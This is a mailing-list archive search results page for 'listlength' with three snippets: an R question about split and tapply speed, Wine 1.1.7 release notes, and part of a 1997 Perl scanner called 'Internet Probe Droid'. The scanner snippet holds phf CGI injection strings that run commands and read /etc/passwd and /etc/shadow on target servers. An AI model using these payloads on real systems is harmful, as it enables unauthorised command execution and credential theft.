search for: listlength

Displaying 3 results from an estimated 3 matches for "listlength".

Did you mean: list_length
2004 Apr 08
1
Why are Split and Tapply so slow with named vectors, why is a for loop faster than mapply
...x) Using the following function with a for loop accomplishes the job in a few seconds for all 70,000+ records: > splitWithNames <- function(dataVector, nameVector, factorVector){ + dataList <- split(dataVector, factorVector) + nameList <- split(nameVector, factorVector) + listLength <- length(dataList) + namedDataList <- list(NULL) + for(i in 1:listLength){ + x <- dataList[[i]] + names(x) <- nameList[[i]] + namedDataList[[i]] <- x + } + namedDataList + } > system.time(actTimeList <- splitWithNames(actTime, zo...
1997 Sep 28
0
[IPD] Internet Probe Droid
...e $queries = ''/cgi-bin/phf?Qalias=x%0acat%20/etc/passwd%0aecho%20ImPrDr%0aid%0aecho%20ImPrDr%0auname%20-a''; $getShadow = ''/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadow''; ### ## # Begin main &banner(); # just to be anal @really_dumb_sites = (); $tried = $listlength = $totalgotten = $rootservers = $shadowed = 0; # Get server list. unless ($ARGV[0]) { die "Usage: ipd.pl <server list>\n"; } open(SERVERS, "$ARGV[0]") or die "Cannot read server list: $!\n"; @servers = <SERVERS>; close SERVERS; chomp @servers; $listlength...
2008 Oct 24
0
Wine release 1.1.7
...egEnumKey gets always sizes, not -1. jscript: Check for This->ctx and This->site earlier (Coverity). mshtml: Initialize nswindow in create_doc_from_nsdoc. Michael Karcher (14): msxml3: Implementation of IXMLDOMNamedNodeMap::removeNamedItem. msxml3: Correct handling of listLength == NULL in IXMLDOMNamedNodeMap::get_length. msxml3: IXMLDOMNode_put_nodeValue: Use variant coercion. msxml3: Use right COM invocation macro. msxml3: Remove superflous re-conversion from wide chars to utf8. msxml3: Fix leaks in callers of xmlChar_from_wchar. msxml3: Fix...